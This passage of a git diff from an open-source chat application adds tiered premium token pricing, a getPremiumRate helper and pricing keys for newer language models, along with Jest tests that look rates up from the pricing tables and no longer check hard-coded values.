completion: 37.5 }, + 'claude-sonnet-4-6': { threshold: 200000, prompt: 6, completion: 22.5 }, + 'gemini-3.1': { threshold: 200000, prompt: 4, completion: 18 }, }; /** @@ -313,15 +420,27 @@ const getValueKey = (model, endpoint) => { * @param {string} [params.model] - The model name to derive the value key from if not provided. * @param {string} [params.endpoint] - The endpoint name to derive the value key from if not provided. * @param {EndpointTokenConfig} [params.endpointTokenConfig] - The token configuration for the endpoint. + * @param {number} [params.inputTokenCount] - Total input token count for tiered pricing. * @returns {number} The multiplier for the given parameters, or a default value if not found. */ -const getMultiplier = ({ valueKey, tokenType, model, endpoint, endpointTokenConfig }) => { +const getMultiplier = ({ + model, + valueKey, + endpoint, + tokenType, + inputTokenCount, + endpointTokenConfig, +}) => { if (endpointTokenConfig) { return endpointTokenConfig?.[model]?.[tokenType] ?? defaultRate; } if (valueKey && tokenType) { - return tokenValues[valueKey][tokenType] ?? defaultRate; + const premiumRate = getPremiumRate(valueKey, tokenType, inputTokenCount); + if (premiumRate != null) { + return premiumRate; + } + return tokenValues[valueKey]?.[tokenType] ?? defaultRate; } if (!tokenType || !model) { @@ -333,10 +452,33 @@ const getMultiplier = ({ valueKey, tokenType, model, endpoint, endpointTokenConf return defaultRate; } - // If we got this far, and values[tokenType] is undefined somehow, return a rough average of default multipliers + const premiumRate = getPremiumRate(valueKey, tokenType, inputTokenCount); + if (premiumRate != null) { + return premiumRate; + } + return tokenValues[valueKey]?.[tokenType] ?? defaultRate; }; +/** + * Checks if premium (tiered) pricing applies and returns the premium rate. + * Each model defines its own threshold in `premiumTokenValues`. + * @param {string} valueKey + * @param {string} tokenType + * @param {number} [inputTokenCount] + * @returns {number|null} + */ +const getPremiumRate = (valueKey, tokenType, inputTokenCount) => { + if (inputTokenCount == null) { + return null; + } + const premiumEntry = premiumTokenValues[valueKey]; + if (!premiumEntry || inputTokenCount <= premiumEntry.threshold) { + return null; + } + return premiumEntry[tokenType] ?? null; +}; + /** * Retrieves the cache multiplier for a given value key and token type. If no value key is provided, * it attempts to derive it from the model name. @@ -373,8 +515,10 @@ const getCacheMultiplier = ({ valueKey, cacheType, model, endpoint, endpointToke module.exports = { tokenValues, + premiumTokenValues, getValueKey, getMultiplier, + getPremiumRate, getCacheMultiplier, defaultRate, cacheTokenValues, diff --git a/api/models/tx.spec.js b/api/models/tx.spec.js index f70a6af47c..666cd0a3b8 100644 --- a/api/models/tx.spec.js +++ b/api/models/tx.spec.js @@ -1,3 +1,4 @@ +/** Note: No hard-coded values should be used in this file. */ const { maxTokensMap } = require('@librechat/api'); const { EModelEndpoint } = require('librechat-data-provider'); const { @@ -5,8 +6,10 @@ const { tokenValues, getValueKey, getMultiplier, + getPremiumRate, cacheTokenValues, getCacheMultiplier, + premiumTokenValues, } = require('./tx'); describe('getValueKey', () => { @@ -49,6 +52,24 @@ describe('getValueKey', () => { expect(getValueKey('openai/gpt-5.2')).toBe('gpt-5.2'); }); + it('should return "gpt-5.3" for model name containing "gpt-5.3"', () => { + expect(getValueKey('gpt-5.3')).toBe('gpt-5.3'); + expect(getValueKey('gpt-5.3-chat-latest')).toBe('gpt-5.3'); + expect(getValueKey('gpt-5.3-codex')).toBe('gpt-5.3'); + expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3'); + }); + + it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => { + expect(getValueKey('gpt-5.4')).toBe('gpt-5.4'); + expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4'); + expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4'); + }); + + it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => { + expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro'); + expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro'); + }); + it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => { expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106'); expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106'); @@ -135,6 +156,12 @@ describe('getValueKey', () => { expect(getValueKey('gpt-5-pro-preview')).toBe('gpt-5-pro'); }); + it('should return "gpt-5.2-pro" for model name containing "gpt-5.2-pro"', () => { + expect(getValueKey('gpt-5.2-pro')).toBe('gpt-5.2-pro'); + expect(getValueKey('gpt-5.2-pro-2025-03-01')).toBe('gpt-5.2-pro'); + expect(getValueKey('openai/gpt-5.2-pro')).toBe('gpt-5.2-pro'); + }); + it('should return "gpt-4o" for model type of "gpt-4o"', () => { expect(getValueKey('gpt-4o-2024-08-06')).toBe('gpt-4o'); expect(getValueKey('gpt-4o-2024-08-06-0718')).toBe('gpt-4o'); @@ -239,6 +266,15 @@ describe('getMultiplier', () => { expect(getMultiplier({ valueKey: '8k', tokenType: 'unknownType' })).toBe(defaultRate); }); + it('should return defaultRate if valueKey does not exist in tokenValues', () => { + expect(getMultiplier({ valueKey: 'non-existent-model', tokenType: 'prompt' })).toBe( + defaultRate, + ); + expect(getMultiplier({ valueKey: 'non-existent-model', tokenType: 'completion' })).toBe( + defaultRate, + ); + }); + it('should derive the valueKey from the model if not provided', () => { expect(getMultiplier({ tokenType: 'prompt', model: 'gpt-4-some-other-info' })).toBe( tokenValues['8k'].prompt, @@ -324,6 +360,18 @@ describe('getMultiplier', () => { ); }); + it('should return the correct multiplier for gpt-5.2-pro', () => { + expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.2-pro'].prompt, + ); + expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.2-pro'].completion, + ); + expect(getMultiplier({ model: 'openai/gpt-5.2-pro', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.2-pro'].prompt, + ); + }); + it('should return the correct multiplier for gpt-5.1', () => { expect(getMultiplier({ model: 'gpt-5.1', tokenType: 'prompt' })).toBe( tokenValues['gpt-5.1'].prompt, @@ -334,8 +382,6 @@ describe('getMultiplier', () => { expect(getMultiplier({ model: 'openai/gpt-5.1', tokenType: 'prompt' })).toBe( tokenValues['gpt-5.1'].prompt, ); - expect(tokenValues['gpt-5.1'].prompt).toBe(1.25); - expect(tokenValues['gpt-5.1'].completion).toBe(10); }); it('should return the correct multiplier for gpt-5.2', () => { @@ -348,8 +394,48 @@ describe('getMultiplier', () => { expect(getMultiplier({ model: 'openai/gpt-5.2', tokenType: 'prompt' })).toBe( tokenValues['gpt-5.2'].prompt, ); - expect(tokenValues['gpt-5.2'].prompt).toBe(1.75); - expect(tokenValues['gpt-5.2'].completion).toBe(14); + }); + + it('should return the correct multiplier for gpt-5.3', () => { + expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.3'].prompt, + ); + expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.3'].completion, + ); + expect(getMultiplier({ model: 'gpt-5.3-codex', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.3'].prompt, + ); + expect(getMultiplier({ model: 'openai/gpt-5.3', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.3'].completion, + ); + }); + + it('should return the correct multiplier for gpt-5.4', () => { + expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.4'].prompt, + ); + expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.4'].completion, + ); + expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.4'].prompt, + ); + expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.4'].completion, + ); + }); + + it('should return the correct multiplier for gpt-5.4-pro', () => { + expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.4-pro'].prompt, + ); + expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe( + tokenValues['gpt-5.4-pro'].completion, + ); + expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe( + tokenValues['gpt-5.4-pro'].prompt, + ); }); it('should return the correct multiplier for gpt-4o', () => { @@ -815,8 +901,6 @@ describe('Deepseek Model Tests', () => { expect(getMultiplier({ model: 'deepseek-chat', tokenType: 'completion' })).toBe( tokenValues['deepseek-chat'].completion, ); - expect(tokenValues['deepseek-chat'].prompt).toBe(0.28); - expect(tokenValues['deepseek-chat'].completion).toBe(0.42); }); it('should return correct pricing for deepseek-reasoner', () => { @@ -826,8 +910,6 @@ describe('Deepseek Model Tests', () => { expect(getMultiplier({ model: 'deepseek-reasoner', tokenType: 'completion' })).toBe( tokenValues['deepseek-reasoner'].completion, ); - expect(tokenValues['deepseek-reasoner'].prompt).toBe(0.28); - expect(tokenValues['deepseek-reasoner'].completion).toBe(0.42); }); it('should handle DeepSeek model name variations with provider prefixes', () => { @@ -840,8 +922,8 @@ describe('Deepseek Model Tests', () => { modelVariations.forEach((model) => { const promptMultiplier = getMultiplier({ model, tokenType: 'prompt' }); const completionMultiplier = getMultiplier({ model, tokenType: 'completion' }); - expect(promptMultiplier).toBe(0.28); - expect(completionMultiplier).toBe(0.42); + expect(promptMultiplier).toBe(tokenValues['deepseek-chat'].prompt); + expect(completionMultiplier).toBe(tokenValues['deepseek-chat'].completion); }); }); @@ -860,13 +942,13 @@ describe('Deepseek Model Tests', () => { ); }); - it('should return correct cache pricing values for DeepSeek models', () => { - expect(cacheTokenValues['deepseek-chat'].write).toBe(0.28); - expect(cacheTokenValues['deepseek-chat'].read).toBe(0.028); - expect(cacheTokenValues['deepseek-reasoner'].write).toBe(0.28); - expect(cacheTokenValues['deepseek-reasoner'].read).toBe(0.028); - expect(cacheTokenValues['deepseek'].write).toBe(0.28); - expect(cacheTokenValues['deepseek'].read).toBe(0.028); + it('should have consistent cache pricing across DeepSeek model variants', () => { + expect(cacheTokenValues['deepseek'].write).toBe(cacheTokenValues['deepseek-chat'].write); + expect(cacheTokenValues['deepseek'].read).toBe(cacheTokenValues['deepseek-chat'].read); + expect(cacheTokenValues['deepseek-reasoner'].write).toBe( + cacheTokenValues['deepseek-chat'].write, + ); + expect(cacheTokenValues['deepseek-reasoner'].read).toBe(cacheTokenValues['deepseek-chat'].read); }); it('should handle DeepSeek cache multipliers with model variations', () => { @@ -875,8 +957,195 @@ describe('Deepseek Model Tests', () => { modelVariations.forEach((model) => { const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); - expect(writeMultiplier).toBe(0.28); - expect(readMultiplier).toBe(0.028); + expect(writeMultiplier).toBe(cacheTokenValues['deepseek-chat'].write); + expect(readMultiplier).toBe(cacheTokenValues['deepseek-chat'].read); + }); + }); +}); + +describe('Moonshot/Kimi Model Tests - Pricing', () => { + describe('Kimi Models', () => { + it('should return correct pricing for kimi base pattern', () => { + expect(getMultiplier({ model: 'kimi', tokenType: 'prompt' })).toBe( + tokenValues['kimi'].prompt, + ); + expect(getMultiplier({ model: 'kimi', tokenType: 'completion' })).toBe( + tokenValues['kimi'].completion, + ); + }); + + it('should return correct pricing for kimi-k2.5', () => { + expect(getMultiplier({ model: 'kimi-k2.5', tokenType: 'prompt' })).toBe( + tokenValues['kimi-k2.5'].prompt, + ); + expect(getMultiplier({ model: 'kimi-k2.5', tokenType: 'completion' })).toBe( + tokenValues['kimi-k2.5'].completion, + ); + }); + + it('should return correct pricing for kimi-k2 series', () => { + expect(getMultiplier({ model: 'kimi-k2', tokenType: 'prompt' })).toBe( + tokenValues['kimi-k2'].prompt, + ); + expect(getMultiplier({ model: 'kimi-k2', tokenType: 'completion' })).toBe( + tokenValues['kimi-k2'].completion, + ); + }); + + it('should return correct pricing for kimi-k2-turbo (higher pricing)', () => { + expect(getMultiplier({ model: 'kimi-k2-turbo', tokenType: 'prompt' })).toBe( + tokenValues['kimi-k2-turbo'].prompt, + ); + expect(getMultiplier({ model: 'kimi-k2-turbo', tokenType: 'completion' })).toBe( + tokenValues['kimi-k2-turbo'].completion, + ); + }); + + it('should return correct pricing for kimi-k2-thinking models', () => { + expect(getMultiplier({ model: 'kimi-k2-thinking', tokenType: 'prompt' })).toBe( + tokenValues['kimi-k2-thinking'].prompt, + ); + expect(getMultiplier({ model: 'kimi-k2-thinking', tokenType: 'completion' })).toBe( + tokenValues['kimi-k2-thinking'].completion, + ); + expect(getMultiplier({ model: 'kimi-k2-thinking-turbo', tokenType: 'prompt' })).toBe( + tokenValues['kimi-k2-thinking-turbo'].prompt, + ); + expect(getMultiplier({ model: 'kimi-k2-thinking-turbo', tokenType: 'completion' })).toBe( + tokenValues['kimi-k2-thinking-turbo'].completion, + ); + }); + + it('should handle Kimi model variations with provider prefixes', () => { + const modelVariations = ['openrouter/kimi-k2', 'openrouter/kimi-k2.5', 'openrouter/kimi']; + + modelVariations.forEach((model) => { + const promptMultiplier = getMultiplier({ model, tokenType: 'prompt' }); + const completionMultiplier = getMultiplier({ model, tokenType: 'completion' }); + expect(promptMultiplier).toBe(tokenValues['kimi'].prompt); + expect([tokenValues['kimi'].completion, tokenValues['kimi-k2.5'].completion]).toContain( + completionMultiplier, + ); + }); + }); + }); + + describe('Moonshot Models', () => { + it('should return correct pricing for moonshot base pattern (128k pricing)', () => { + expect(getMultiplier({ model: 'moonshot', tokenType: 'prompt' })).toBe( + tokenValues['moonshot'].prompt, + ); + expect(getMultiplier({ model: 'moonshot', tokenType: 'completion' })).toBe( + tokenValues['moonshot'].completion, + ); + }); + + it('should return correct pricing for moonshot-v1-8k', () => { + expect(getMultiplier({ model: 'moonshot-v1-8k', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-8k'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-8k', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-8k'].completion, + ); + }); + + it('should return correct pricing for moonshot-v1-32k', () => { + expect(getMultiplier({ model: 'moonshot-v1-32k', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-32k'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-32k', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-32k'].completion, + ); + }); + + it('should return correct pricing for moonshot-v1-128k', () => { + expect(getMultiplier({ model: 'moonshot-v1-128k', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-128k'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-128k', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-128k'].completion, + ); + }); + + it('should return correct pricing for moonshot-v1 vision models', () => { + expect(getMultiplier({ model: 'moonshot-v1-8k-vision', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-8k-vision'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-8k-vision', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-8k-vision'].completion, + ); + expect(getMultiplier({ model: 'moonshot-v1-32k-vision', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-32k-vision'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-32k-vision', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-32k-vision'].completion, + ); + expect(getMultiplier({ model: 'moonshot-v1-128k-vision', tokenType: 'prompt' })).toBe( + tokenValues['moonshot-v1-128k-vision'].prompt, + ); + expect(getMultiplier({ model: 'moonshot-v1-128k-vision', tokenType: 'completion' })).toBe( + tokenValues['moonshot-v1-128k-vision'].completion, + ); + }); + }); + + describe('Kimi Cache Multipliers', () => { + it('should return correct cache multipliers for kimi-k2 models', () => { + expect(getCacheMultiplier({ model: 'kimi', cacheType: 'write' })).toBe( + cacheTokenValues['kimi'].write, + ); + expect(getCacheMultiplier({ model: 'kimi', cacheType: 'read' })).toBe( + cacheTokenValues['kimi'].read, + ); + }); + + it('should return correct cache multipliers for kimi-k2.5 (lower read price)', () => { + expect(getCacheMultiplier({ model: 'kimi-k2.5', cacheType: 'write' })).toBe( + cacheTokenValues['kimi-k2.5'].write, + ); + expect(getCacheMultiplier({ model: 'kimi-k2.5', cacheType: 'read' })).toBe( + cacheTokenValues['kimi-k2.5'].read, + ); + }); + + it('should return correct cache multipliers for kimi-k2-turbo', () => { + expect(getCacheMultiplier({ model: 'kimi-k2-turbo', cacheType: 'write' })).toBe( + cacheTokenValues['kimi-k2-turbo'].write, + ); + expect(getCacheMultiplier({ model: 'kimi-k2-turbo', cacheType: 'read' })).toBe( + cacheTokenValues['kimi-k2-turbo'].read, + ); + }); + + it('should handle Kimi cache multipliers with model variations', () => { + const modelVariations = ['openrouter/kimi-k2', 'openrouter/kimi']; + + modelVariations.forEach((model) => { + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); + expect(writeMultiplier).toBe(cacheTokenValues['kimi'].write); + expect(readMultiplier).toBe(cacheTokenValues['kimi'].read); + }); + }); + }); + + describe('Bedrock Moonshot Models', () => { + it('should return correct pricing for Bedrock moonshot models', () => { + expect(getMultiplier({ model: 'moonshot.kimi', tokenType: 'prompt' })).toBe( + tokenValues['moonshot.kimi'].prompt, + ); + expect(getMultiplier({ model: 'moonshot.kimi', tokenType: 'completion' })).toBe( + tokenValues['moonshot.kimi'].completion, + ); + expect(getMultiplier({ model: 'moonshot.kimi-k2', tokenType: 'prompt' })).toBe( + tokenValues['moonshot.kimi-k2'].prompt, + ); + expect(getMultiplier({ model: 'moonshot.kimi-k2.5', tokenType: 'prompt' })).toBe( + tokenValues['moonshot.kimi-k2.5'].prompt, + ); + expect(getMultiplier({ model: 'moonshot.kimi-k2.5', tokenType: 'completion' })).toBe( + tokenValues['moonshot.kimi-k2.5'].completion, + ); }); }); }); @@ -1135,6 +1404,73 @@ describe('getCacheMultiplier', () => { ).toBeNull(); }); + it('should return correct cache multipliers for OpenAI models', () => { + const openaiCacheModels = [ + 'gpt-4o', + 'gpt-4o-mini', + 'gpt-4.1', + 'gpt-4.1-mini', + 'gpt-4.1-nano', + 'gpt-5', + 'gpt-5.1', + 'gpt-5.2', + 'gpt-5.3', + 'gpt-5.4', + 'gpt-5-mini', + 'gpt-5-nano', + 'o1', + 'o1-mini', + 'o1-preview', + 'o3', + 'o3-mini', + 'o4-mini', + ]; + + for (const model of openaiCacheModels) { + expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(cacheTokenValues[model].write); + expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(cacheTokenValues[model].read); + } + }); + + it('should return correct cache multipliers for OpenAI dated variants', () => { + expect(getCacheMultiplier({ model: 'gpt-4o-2024-08-06', cacheType: 'read' })).toBe( + cacheTokenValues['gpt-4o'].read, + ); + expect(getCacheMultiplier({ model: 'gpt-4.1-2026-01-01', cacheType: 'read' })).toBe( + cacheTokenValues['gpt-4.1'].read, + ); + expect(getCacheMultiplier({ model: 'gpt-5.3-codex', cacheType: 'read' })).toBe( + cacheTokenValues['gpt-5.3'].read, + ); + expect(getCacheMultiplier({ model: 'openai/gpt-5.3', cacheType: 'write' })).toBe( + cacheTokenValues['gpt-5.3'].write, + ); + }); + + it('should return null for pro models that do not support caching', () => { + expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'read' })).toBeNull(); + expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull(); + expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull(); + expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull(); + expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull(); + expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull(); + }); + + it('should have consistent 10% cache read pricing for gpt-5.x models', () => { + const gpt5CacheModels = [ + 'gpt-5', + 'gpt-5.1', + 'gpt-5.2', + 'gpt-5.3', + 'gpt-5.4', + 'gpt-5-mini', + 'gpt-5-nano', + ]; + for (const model of gpt5CacheModels) { + expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10); + } + }); + it('should handle models with "bedrock/" prefix', () => { expect( getCacheMultiplier({ @@ -1154,6 +1490,9 @@ describe('getCacheMultiplier', () => { describe('Google Model Tests', () => { const googleModels = [ 'gemini-3', + 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools', + 'gemini-3.1-flash-lite-preview', 'gemini-2.5-pro', 'gemini-2.5-flash', 'gemini-2.5-flash-lite', @@ -1198,6 +1537,9 @@ describe('Google Model Tests', () => { it('should map to the correct model keys', () => { const expected = { 'gemini-3': 'gemini-3', + 'gemini-3.1-pro-preview': 'gemini-3.1', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite', 'gemini-2.5-pro': 'gemini-2.5-pro', 'gemini-2.5-flash': 'gemini-2.5-flash', 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', @@ -1241,6 +1583,190 @@ describe('Google Model Tests', () => { ).toBe(tokenValues[expected].completion); }); }); + + it('should return correct prompt and completion rates for Gemini 3.1', () => { + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'prompt', + endpoint: EModelEndpoint.google, + }), + ).toBe(tokenValues['gemini-3.1'].prompt); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'completion', + endpoint: EModelEndpoint.google, + }), + ).toBe(tokenValues['gemini-3.1'].completion); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview-customtools', + tokenType: 'prompt', + endpoint: EModelEndpoint.google, + }), + ).toBe(tokenValues['gemini-3.1'].prompt); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview-customtools', + tokenType: 'completion', + endpoint: EModelEndpoint.google, + }), + ).toBe(tokenValues['gemini-3.1'].completion); + }); + + it('should return correct cache rates for Gemini 3.1', () => { + ['gemini-3.1-pro-preview', 'gemini-3.1-pro-preview-customtools'].forEach((model) => { + expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe( + cacheTokenValues['gemini-3.1'].write, + ); + expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe( + cacheTokenValues['gemini-3.1'].read, + ); + }); + }); + + it('should return correct rates for Gemini 3.1 Flash-Lite', () => { + const model = 'gemini-3.1-flash-lite-preview'; + expect(getMultiplier({ model, tokenType: 'prompt', endpoint: EModelEndpoint.google })).toBe( + tokenValues['gemini-3.1-flash-lite'].prompt, + ); + expect(getMultiplier({ model, tokenType: 'completion', endpoint: EModelEndpoint.google })).toBe( + tokenValues['gemini-3.1-flash-lite'].completion, + ); + expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe( + cacheTokenValues['gemini-3.1-flash-lite'].write, + ); + expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe( + cacheTokenValues['gemini-3.1-flash-lite'].read, + ); + }); +}); + +describe('Gemini 3.1 Premium Token Pricing', () => { + const premiumKey = 'gemini-3.1'; + const premiumEntry = premiumTokenValues[premiumKey]; + const { threshold } = premiumEntry; + const belowThreshold = threshold - 1; + const aboveThreshold = threshold + 1; + const wellAboveThreshold = threshold * 2; + + it('should have premium pricing defined for gemini-3.1', () => { + expect(premiumEntry).toBeDefined(); + expect(premiumEntry.threshold).toBeDefined(); + expect(premiumEntry.prompt).toBeDefined(); + expect(premiumEntry.completion).toBeDefined(); + expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumKey].prompt); + expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumKey].completion); + }); + + it('should return null from getPremiumRate when inputTokenCount is below or at threshold', () => { + expect(getPremiumRate(premiumKey, 'prompt', belowThreshold)).toBeNull(); + expect(getPremiumRate(premiumKey, 'completion', belowThreshold)).toBeNull(); + expect(getPremiumRate(premiumKey, 'prompt', threshold)).toBeNull(); + }); + + it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => { + expect(getPremiumRate(premiumKey, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt); + expect(getPremiumRate(premiumKey, 'completion', aboveThreshold)).toBe(premiumEntry.completion); + expect(getPremiumRate(premiumKey, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt); + }); + + it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => { + expect(getPremiumRate(premiumKey, 'prompt', undefined)).toBeNull(); + expect(getPremiumRate(premiumKey, 'prompt', null)).toBeNull(); + }); + + it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => { + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'prompt', + inputTokenCount: belowThreshold, + }), + ).toBe(tokenValues[premiumKey].prompt); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'completion', + inputTokenCount: belowThreshold, + }), + ).toBe(tokenValues[premiumKey].completion); + }); + + it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => { + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'prompt', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.prompt); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'completion', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.completion); + }); + + it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => { + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview', + tokenType: 'prompt', + inputTokenCount: threshold, + }), + ).toBe(tokenValues[premiumKey].prompt); + }); + + it('should apply premium pricing to customtools variant above threshold', () => { + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview-customtools', + tokenType: 'prompt', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.prompt); + expect( + getMultiplier({ + model: 'gemini-3.1-pro-preview-customtools', + tokenType: 'completion', + inputTokenCount: aboveThreshold, + }), + ).toBe(premiumEntry.completion); + }); + + it('should use standard rate when inputTokenCount is not provided', () => { + expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'prompt' })).toBe( + tokenValues[premiumKey].prompt, + ); + expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'completion' })).toBe( + tokenValues[premiumKey].completion, + ); + }); + + it('should apply premium pricing through getMultiplier with valueKey path', () => { + const valueKey = getValueKey('gemini-3.1-pro-preview'); + expect(valueKey).toBe(premiumKey); + expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe( + premiumEntry.prompt, + ); + expect( + getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }), + ).toBe(premiumEntry.completion); + }); + + it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => { + const valueKey = getValueKey('gemini-3.1-pro-preview'); + expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe( + tokenValues[premiumKey].prompt, + ); + expect( + getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }), + ).toBe(tokenValues[premiumKey].completion); + }); }); describe('Grok Model Tests - Pricing', () => { @@ -1689,6 +2215,201 @@ describe('Claude Model Tests', () => { ); }); }); + + it('should return correct prompt and completion rates for Claude Opus 4.6', () => { + expect(getMultiplier({ model: 'claude-opus-4-6', tokenType: 'prompt' })).toBe( + tokenValues['claude-opus-4-6'].prompt, + ); + expect(getMultiplier({ model: 'claude-opus-4-6', tokenType: 'completion' })).toBe( + tokenValues['claude-opus-4-6'].completion, + ); + }); + + it('should handle Claude Opus 4.6 model name variations', () => { + const modelVariations = [ + 'claude-opus-4-6', + 'claude-opus-4-6-20250801', + 'claude-opus-4-6-latest', + 'anthropic/claude-opus-4-6', + 'claude-opus-4-6/anthropic', + 'claude-opus-4-6-preview', + ]; + + modelVariations.forEach((model) => { + const valueKey = getValueKey(model); + expect(valueKey).toBe('claude-opus-4-6'); + expect(getMultiplier({ model, tokenType: 'prompt' })).toBe( + tokenValues['claude-opus-4-6'].prompt, + ); + expect(getMultiplier({ model, tokenType: 'completion' })).toBe( + tokenValues['claude-opus-4-6'].completion, + ); + }); + }); + + it('should return correct cache rates for Claude Opus 4.6', () => { + expect(getCacheMultiplier({ model: 'claude-opus-4-6', cacheType: 'write' })).toBe( + cacheTokenValues['claude-opus-4-6'].write, + ); + expect(getCacheMultiplier({ model: 'claude-opus-4-6', cacheType: 'read' })).toBe( + cacheTokenValues['claude-opus-4-6'].read, + ); + }); + + it('should handle Claude Opus 4.6 cache rates with model name variations', () => { + const modelVariations = [ + 'claude-opus-4-6', + 'claude-opus-4-6-20250801', + 'claude-opus-4-6-latest', + 'anthropic/claude-opus-4-6', + 'claude-opus-4-6/anthropic', + 'claude-opus-4-6-preview', + ]; + + modelVariations.forEach((model) => { + expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe( + cacheTokenValues['claude-opus-4-6'].write, + ); + expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe( + cacheTokenValues['claude-opus-4-6'].read, + ); + }); + }); +}); + +describe('Premium Token Pricing', () => { + const premiumModel = 'claude-opus-4-6'; + const premiumEntry = premiumTokenValues[premiumModel]; + const { threshold } = premiumEntry; + const belowThreshold = threshold - 1; + const aboveThreshold = threshold + 1; + const wellAboveThreshold = threshold * 2; + + it('should have premium pricing defined for claude-opus-4-6', () => { + expect(premiumEntry).toBeDefined(); + expect(premiumEntry.threshold).toBeDefined(); + expect(premiumEntry.prompt).toBeDefined(); + expect(premiumEntry.completion).toBeDefined(); + 